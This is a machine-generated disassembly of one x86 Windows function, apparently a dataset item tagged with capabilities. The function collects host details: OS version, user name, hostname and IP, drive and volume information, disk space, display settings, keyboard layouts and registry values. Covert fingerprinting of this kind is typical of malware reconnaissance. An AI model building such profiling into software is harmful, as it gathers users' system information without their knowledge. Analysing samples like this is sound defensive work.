Function at 0x407b58
Capabilities:
Check os version
Get common file path
Get disk information
Get disk size
Get geographical location
Get hostname
Get keyboard layout
Get session user name
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xc2
push 0
push 0
dec ecx
jne 0x407b60
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x408d16
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
mov edx, 0x408d2c
call fcn.00403780
mov eax, 0x415b14
mov edx, 0x408d38
call fcn.00403780
mov dword [ebp - 0xe4], 0x94
lea eax, [ebp - 0xe4]
push eax
call sub.kernel32.dll_GetVersionExA
mov esi, dword [ebp - 0xd4]
cmp esi, 2
jne 0x407bc6
lea eax, [ebp - 0xc]
mov edx, 0x408d9c
call fcn.004037c4
jmp 0x407bea
mov eax, esi
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x59c]
call fcn.00405440
mov ecx, dword [ebp - 0x59c]
lea eax, [ebp - 0xc]
mov edx, 0x408db8
call fcn.004038f0
cmp byte [0x415b58], 0
je 0x407c02
lea eax, [ebp - 8]
mov edx, 0x408dd4
call fcn.004037c4
jmp 0x407c0f
lea eax, [ebp - 8]
mov edx, 0x408de4
call fcn.004037c4
mov eax, dword [ebp - 0xe0]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5a0]
call fcn.00405440
push dword [ebp - 0x5a0]
push 0x408df4
mov eax, dword [ebp - 0xdc]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5a4]
call fcn.00405440
push dword [ebp - 0x5a4]
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.00403964
mov eax, dword [ebp - 0x10]
mov edx, 0x408e00
call fcn.004039f0
jne 0x407c73
lea eax, [ebp - 8]
mov edx, 0x408e0c
call fcn.004037c4
lea eax, [ebp - 0x1c]
lea edx, [ebp - 0xd0]
mov ecx, 0x80
call fcn.0040388c
mov eax, dword [ebp - 0x1c]
mov edx, 0x408e1c
call fcn.004039f0
jne 0x407ca4
lea eax, [ebp - 0x1c]
mov edx, 0x408e34
call fcn.004037c4
jmp 0x407cfc
mov eax, dword [ebp - 0x1c]
mov edx, 0x408e40
call fcn.004039f0
jne 0x407cc2
lea eax, [ebp - 0x1c]
mov edx, 0x408e58
call fcn.004037c4
jmp 0x407cfc
mov eax, dword [ebp - 0x1c]
mov edx, 0x408e64
call fcn.004039f0
jne 0x407ce0
lea eax, [ebp - 0x1c]
mov edx, 0x408e7c
call fcn.004037c4
jmp 0x407cfc
mov eax, dword [ebp - 0x1c]
mov edx, 0x408e88
call fcn.004039f0
jne 0x407cfc
lea eax, [ebp - 0x1c]
mov edx, 0x408ea0
call fcn.004037c4
mov eax, dword [ebp - 0xd8]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5a8]
call fcn.00405440
mov ecx, dword [ebp - 0x5a8]
lea eax, [ebp - 0x14]
mov edx, 0x408eac
call fcn.004038f0
push dword [ebp - 8]
push 0x408d2c
push dword [ebp - 0x10]
push 0x408ebc
push dword [ebp - 0x1c]
push 0x408ebc
push dword [ebp - 0x14]
push 0x408ebc
lea eax, [ebp - 0x18]
mov edx, 8
call fcn.00403964
push 0x408ec8
push dword [ebp - 0xc]
push 0x408ec8
push dword [ebp - 8]
push 0x408d2c
push dword [ebp - 0x10]
push 0x408ec8
push dword [ebp - 0x14]
push 0x408ec8
push dword [ebp - 0x1c]
push 0x408ec8
push 0x408ed4
push dword [0x415adc]
push 0x408ee8
push 0x408ec8
mov eax, ebx
mov edx, 0xf
call fcn.00403964
push 0xfa
lea eax, [ebp - 0x577]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
push dword [ebx]
push 0x408ef4
lea eax, [ebp - 0x5ac]
lea edx, [ebp - 0x577]
mov ecx, 0xfb
call fcn.0040388c
push dword [ebp - 0x5ac]
push 0x408ec8
mov eax, ebx
mov edx, 4
call fcn.00403964
mov eax, dword [0x41424c]
push eax
push 0x400
lea eax, [ebp - 8]
push eax
mov ecx, 0x408f08
mov edx, 0x408f1c
mov eax, 0x80000001
call fcn.00406898
push dword [ebx]
push 0x408f40
push dword [ebp - 8]
push 0x408ec8
mov eax, ebx
mov edx, 4
call fcn.00403964
push dword [ebp - 0x18]
push dword [ebp - 8]
push 0x408ebc
lea eax, [ebp - 0x18]
mov edx, 3
call fcn.00403964
push dword [ebx]
push 0x408f54
push dword [0x415ad8]
push 0x408ec8
mov eax, ebx
mov edx, 4
call fcn.00403964
push dword [ebp - 0x18]
push 0x408f6c
push dword [0x415ad8]
push 0x408ebc
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.00403964
mov eax, 0x415b14
mov edx, 0x408f7c
call fcn.00403780
mov dword [ebp - 0x4c], 0x32
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x577]
push eax
call sub.advapi32.dll_GetUserNameA
push dword [ebx]
push 0x408fe4
lea eax, [ebp - 0x5b0]
lea edx, [ebp - 0x577]
mov ecx, 0xfb
call fcn.0040388c
push dword [ebp - 0x5b0]
push 0x408ec8
mov eax, ebx
mov edx, 4
call fcn.00403964
push dword [ebp - 0x18]
push 0x408ff8
lea eax, [ebp - 0x5b4]
lea edx, [ebp - 0x577]
mov ecx, 0xfb
call fcn.0040388c
push dword [ebp - 0x5b4]
push 0x408ebc
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.00403964
lea eax, [ebp - 8]
mov edx, 0x409008
call fcn.004037c4
lea eax, [ebp - 0xc]
mov ecx, 0x40902c
mov edx, dword [ebp - 8]
call fcn.004038f0
mov eax, dword [0x41424c]
push eax
mov ecx, 0x409048
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.004067e4
lea edx, [ebp - 0x10]
call fcn.00405420
push dword [ebp - 0x18]
push 0x409058
push dword [ebp - 0x10]
push 0x408ebc
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.00403964
push dword [ebx]
push 0x409068
push 0x409074
push dword [ebp - 0x10]
push 0x409084
push 0x408ec8
push 0x409094
mov eax, dword [0x41424c]
push eax
push 0x400
lea eax, [ebp - 0x5b8]
push eax
mov ecx, 0x4090b0
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00406898
push dword [ebp - 0x5b8]
push 0x408ec8
push 0x4090cc
mov eax, dword [0x41424c]
push eax
push 0x400
lea eax, [ebp - 0x5bc]
push eax
mov ecx, 0x4090e4
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00406898
push dword [ebp - 0x5bc]
push 0x408ec8
push 0x4090f8
mov eax, dword [0x41424c]
push eax
push 0x400
lea eax, [ebp - 0x5c0]
push eax
mov ecx, 0x40910c
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00406898
push dword [ebp - 0x5c0]
push 0x408ec8
push 0x409128
mov eax, dword [0x41424c]
push eax
push 0x400
lea eax, [ebp - 0x5c4]
push eax
mov ecx, 0x409140
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00406898
push dword [ebp - 0x5c4]
push 0x408ec8
push 0x40915c
mov eax, dword [0x41424c]
push eax
push 0x400
lea eax, [ebp - 0x5c8]
push eax
mov ecx, 0x409170
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00406898
push dword [ebp - 0x5c8]
push 0x408ec8
push 0x409188
mov eax, dword [0x41424c]
push eax
push 0x400
lea eax, [ebp - 0x5cc]
push eax
mov ecx, 0x4091a8
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00406898
push dword [ebp - 0x5cc]
push 0x408ec8
push 0x4091c4
mov eax, dword [0x41424c]
push eax
push 0x400
lea eax, [ebp - 0x5d0]
push eax
mov ecx, 0x4091e0
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00406898
push dword [ebp - 0x5d0]
push 0x408ec8
mov eax, ebx
mov edx, 0x1b
call fcn.00403964
mov eax, 0x415b14
mov edx, 0x4091f8
call fcn.00403780
lea eax, [ebp - 8]
mov edx, 0x409254
call fcn.004037c4
xor edi, edi
lea edx, [ebp - 0x14]
mov eax, edi
call fcn.00405420
mov eax, dword [0x41424c]
push eax
push 0x400
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x5d4]
mov ecx, dword [ebp - 0x14]
mov edx, 0x409264
call fcn.004038f0
mov ecx, dword [ebp - 0x5d4]
mov edx, 0x40927c
mov eax, 0x80000002
call fcn.00406898
mov eax, dword [ebp - 0x10]
call fcn.004038a4
test eax, eax
jle 0x408177
push dword [ebx]
push dword [ebp - 8]
push dword [ebp - 0x10]
push 0x408ec8
mov eax, ebx
mov edx, 4
call fcn.00403964
mov eax, dword [0x41424c]
push eax
push 0x400
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x5d8]
mov ecx, dword [ebp - 0x14]
mov edx, 0x4092a4
call fcn.004038f0
mov ecx, dword [ebp - 0x5d8]
mov edx, 0x4092c0
mov eax, 0x80000002
call fcn.00406898
mov eax, dword [ebp - 0x10]
call fcn.004038a4
test eax, eax
jle 0x4081d3
push dword [ebx]
push dword [ebp - 8]
push dword [ebp - 0x10]
push 0x408ec8
mov eax, ebx
mov edx, 4
call fcn.00403964
inc edi
cmp edi, 7
jne 0x408111
mov eax, dword [0x41424c]
push eax
mov ecx, 0x4092ec
mov edx, 0x409304
mov eax, 0x80000002
call fcn.004067e4
lea edx, [ebp - 0x14]
call fcn.00405420
mov eax, dword [ebp - 0x14]
call fcn.004038a4
test eax, eax
jle 0x408225
push 0x40934c
push dword [ebp - 0x14]
push 0x408ec8
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.00403964
mov eax, 0x415b14
mov edx, 0x409364
call fcn.00403780
push dword [ebp - 0x18]
push dword [0x415adc]
push 0x408ebc
lea eax, [ebp - 0x18]
mov edx, 3
call fcn.00403964
push dword [ebx]
push 0x4093c0
push dword [0x415aec]
push 0x408ec8
push dword [ebp - 0x14]
mov eax, ebx
mov edx, 5
call fcn.00403964
lea eax, [ebp - 0x274]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
push 0xff
lea eax, [ebp - 0x577]
push eax
call sub.wsock32.dll_gethostname
lea eax, [ebp - 0x577]
push eax
call sub.wsock32.dll_gethostbyname
mov esi, eax
mov eax, dword [esi + 0xc]
mov eax, dword [eax]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 8]
call fcn.0040385c
push dword [ebx]
push 0x4093d0
push dword [ebp - 8]
mov eax, ebx
mov edx, 3
call fcn.00403964
push dword [ebp - 0x18]
push 0x4093e4
push dword [ebp - 8]
push 0x408ebc
push 0x4093f0
lea eax, [ebp - 0x18]
mov edx, 5
call fcn.00403964
call sub.wsock32.dll_WSACleanup
push dword [ebx]
push 0x408ec8
push 0x408ec8
push 0x409400
push 0x408ec8
mov eax, ebx
mov edx, 5
call fcn.00403964
mov byte [ebp - 1], 0x42
lea eax, [ebp - 0x5dc]
mov dl, byte [ebp - 1]
call fcn.0040384c
mov edx, dword [ebp - 0x5dc]
lea eax, [ebp - 0x20]
mov ecx, 0x409418
call fcn.004038f0
mov eax, dword [ebp - 0x20]
call fcn.00403aa4
mov esi, eax
push esi
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 6
ja case.0x408353.0
jmp dword [eax*4 + 0x40835a]
lea eax, [ebp - 8]
mov edx, 0x409424
call fcn.004037c4
lea eax, [ebp - 0xc]
mov edx, 0x409438
call fcn.004037c4
jmp 0x40843b
lea eax, [ebp - 8]
mov edx, 0x409444
call fcn.004037c4
lea eax, [ebp - 0xc]
mov edx, 0x409454
call fcn.004037c4
jmp 0x40843b
lea eax, [ebp - 8]
mov edx, 0x409460
call fcn.004037c4
lea eax, [ebp - 0xc]
mov edx, 0x409470
call fcn.004037c4
jmp 0x40843b
lea eax, [ebp - 8]
mov edx, 0x409480
call fcn.004037c4
lea eax, [ebp - 0xc]
mov edx, 0x409490
call fcn.004037c4
push dword [ebx]
push 0x408ec8
push 0x409068
push dword [ebp - 0x20]
push dword [ebp - 8]
push 0x408ec8
mov eax, ebx
mov edx, 6
call fcn.00403964
lea eax, [ebp - 8]
call fcn.0040372c
jmp 0x40843b
lea eax, [ebp - 8]
mov edx, 0x40949c
call fcn.004037c4
lea eax, [ebp - 0xc]
mov edx, 0x4094ac
call fcn.004037c4
jmp 0x40843b
lea eax, [ebp - 8]
call fcn.0040372c
mov eax, dword [ebp - 8]
call fcn.004038a4
dec eax
jl 0x408657
push dword [ebp - 0x18]
lea eax, [ebp - 0x5e0]
mov dl, byte [ebp - 1]
call fcn.0040384c
push dword [ebp - 0x5e0]
push 0x4094c0
push dword [ebp - 0xc]
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.00403964
push dword [ebx]
push 0x409068
push dword [ebp - 0x20]
push 0x408ec8
push 0x4094cc
push dword [ebp - 8]
push 0x408ec8
mov eax, ebx
mov edx, 7
call fcn.00403964
push 0x64
lea eax, [ebp - 0x47c]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x24]
push eax
push 0x104
lea eax, [ebp - 0x378]
push eax
push esi
call sub.kernel32.dll_GetVolumeInformationA
test eax, eax
je 0x40858d
push dword [ebx]
push 0x4094dc
lea eax, [ebp - 0x5e4]
lea edx, [ebp - 0x378]
mov ecx, 0x104
call fcn.0040388c
push dword [ebp - 0x5e4]
push 0x408ec8
push 0x4094ec
lea eax, [ebp - 0x5e8]
lea edx, [ebp - 0x47c]
mov ecx, 0x104
call fcn.0040388c
push dword [ebp - 0x5e8]
push 0x408ec8
push 0x4094fc
mov eax, dword [ebp - 0x24]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5ec]
call fcn.00405440
push dword [ebp - 0x5ec]
push 0x408ec8
push 0x40950c
mov eax, dword [ebp - 0x28]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5f0]
call fcn.00405440
push dword [ebp - 0x5f0]
push 0x408ec8
push 0x409520
mov eax, dword [ebp - 0x2c]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5f4]
call fcn.00405440
push dword [ebp - 0x5f4]
push 0x408ec8
mov eax, ebx
mov edx, 0x10
call fcn.00403964
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
push esi
call sub.kernel32.dll_GetDiskFreeSpaceExA
test eax, eax
je 0x408657
push dword [ebx]
push 0x409530
push 0
push 0x100000
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
call fcn.00404008
push edx
push eax
lea eax, [ebp - 0x5f8]
call fcn.00405440
push dword [ebp - 0x5f8]
push 0x409540
push 0x408ec8
push 0x40954c
push 0
push 0x100000
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
call fcn.00404008
push edx
push eax
lea eax, [ebp - 0x5fc]
call fcn.00405440
push dword [ebp - 0x5fc]
push 0x409540
push 0x408ec8
push 0x40955c
push 0
push 0x100000
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x48]
sbb edx, dword [ebp - 0x44]
call fcn.00404008
push edx
push eax
lea eax, [ebp - 0x600]
call fcn.00405440
push dword [ebp - 0x600]
push 0x409540
push 0x408ec8
mov eax, ebx
mov edx, 0xd
call fcn.00403964
inc byte [ebp - 1]
cmp byte [ebp - 1], 0x5b
jne 0x408319
mov eax, 0x415b14
mov edx, 0x40956c
call fcn.00403780
push 0
push 0
push 0
push 0x4095cc
call sub.gdi32.dll_CreateDCA
mov esi, eax
push 8
push esi
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 8]
call fcn.00405420
push 0xa
push esi
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0xc]
call fcn.00405420
push 0x74
push esi
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0x10]
call fcn.00405420
push 0xc
push esi
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0x14]
call fcn.00405420
push esi
call sub.gdi32.dll_DeleteDC
mov eax, 0x415b14
mov edx, 0x4095dc
call fcn.00403780
push dword [ebx]
push 0x409068
push 0x409634
push 0x408ec8
push 0x409648
push dword [ebp - 8]
push 0x408ec8
push 0x409658
push dword [ebp - 0xc]
push 0x408ec8
push 0x40966c
push dword [ebp - 0x10]
push 0x408ec8
push 0x409680
push dword [ebp - 0x14]
push 0x408ec8
mov eax, ebx
mov edx, 0x10
call fcn.00403964
push dword [ebp - 0x18]
push 0x408ebc
push 0x409698
push dword [ebp - 8]
push 0x4096a8
push dword [ebp - 0xc]
push 0x4096b4
push dword [ebp - 0x10]
push 0x4096a8
push dword [ebp - 0x14]
lea eax, [ebp - 0x18]
mov edx, 0xa
call fcn.00403964
lea eax, [ebp - 0x598]
xor ecx, ecx
mov edx, 7
call fcn.00402bd8
lea eax, [ebp - 0x598]
push eax
push 8
call sub.user32.dll_GetKeyboardLayoutList
mov dword [ebp - 0x4c], eax
push 0x4096c0
mov eax, dword [ebp - 0x4c]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x604]
call fcn.00405440
push dword [ebp - 0x604]
push 0x408ec8
lea eax, [ebp - 8]
mov edx, 3
call fcn.00403964
mov eax, dword [ebp - 0x4c]
dec eax
test eax, eax
jl 0x408bfb
inc eax
mov dword [ebp - 0x50], eax
xor edi, edi
lea esi, [ebp - 0x598]
mov eax, dword [esi]
and eax, 0xff
cmp eax, 0x38
ja case.0x4087da.0
jmp dword [eax*4 + 0x4087e1]
lea eax, [ebp - 0x14]
mov edx, 0x4096dc
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x4096ec
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x4096fc
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x40970c
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x40971c
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x40972c
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x40973c
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x40974c
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x40975c
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x40976c
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x40977c
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x40978c
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x40979c
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x4097a8
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x4097bc
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x4097d0
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x4097e0
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x4097f0
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x409800
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x409810
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x409820
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x409830
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x409844
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x409858
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x40986c
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x40987c
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x409890
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x4098a0
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x4098b0
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x4098c4
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x4098d8
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x4098e8
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x4098fc
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x409910
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x40991c
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x40992c
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x409940
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x409950
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x409960
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x409970
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x409980
call fcn.004037c4
jmp case.0x4087da.0
lea eax, [ebp - 0x14]
mov edx, 0x40998c
call fcn.004037c4
push dword [ebp - 8]
lea edx, [ebp - 0x608]
lea eax, [edi + 1]
call fcn.00405420
push dword [ebp - 0x608]
push 0x4094c0
mov eax, dword [esi]
and eax, 0xff
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x60c]
call fcn.00405440
push dword [ebp - 0x60c]
push 0x408d2c
push dword [ebp - 0x14]
push 0x408ec8
lea eax, [ebp - 8]
mov edx, 7
call fcn.00403964
inc edi
add esi, 4
dec dword [ebp - 0x50]
jne 0x4087ca
mov eax, 0x415b14
mov edx, 0x40999c
call fcn.00403780
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.004038ac
lea eax, [ebp - 0x10]
mov edx, 0x409a00
call fcn.004037c4
mov eax, dword [0x41424c]
push eax
push 0x400
lea eax, [ebp - 8]
push eax
mov ecx, 0x409a1c
mov edx, dword [ebp - 0x10]
mov eax, 0x80000001
call fcn.00406898
cmp dword [ebp - 8], 0
je 0x408c9c
push dword [ebx]
push 0x409068
push 0x409a30
push dword [ebp - 8]
push 0x408ec8
push 0x409a48
mov eax, dword [0x41424c]
push eax
push 0x400
lea eax, [ebp - 0x610]
push eax
mov ecx, 0x409a5c
mov edx, dword [ebp - 0x10]
mov eax, 0x80000002
call fcn.00406898
push dword [ebp - 0x610]
push 0x408ec8
mov eax, ebx
mov edx, 8
call fcn.00403964
push 0x409a6c
push dword [ebp - 0x18]
push 0x408ec8
push 0x409a94
push 0x408ec8
push 0x409aa4
lea edx, [ebp - 0x614]
mov eax, 0x83
call fcn.00405420
push dword [ebp - 0x614]
push dword [ebx]
mov eax, ebx
mov edx, 8
call fcn.00403964
mov eax, 0x415b14
mov edx, 0x409ab8
call fcn.00403780
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408d1d
lea eax, [ebp - 0x614]
mov edx, 0x1f
call fcn.00403750
lea eax, [ebp - 0x20]
mov edx, 7
call fcn.00403750
ret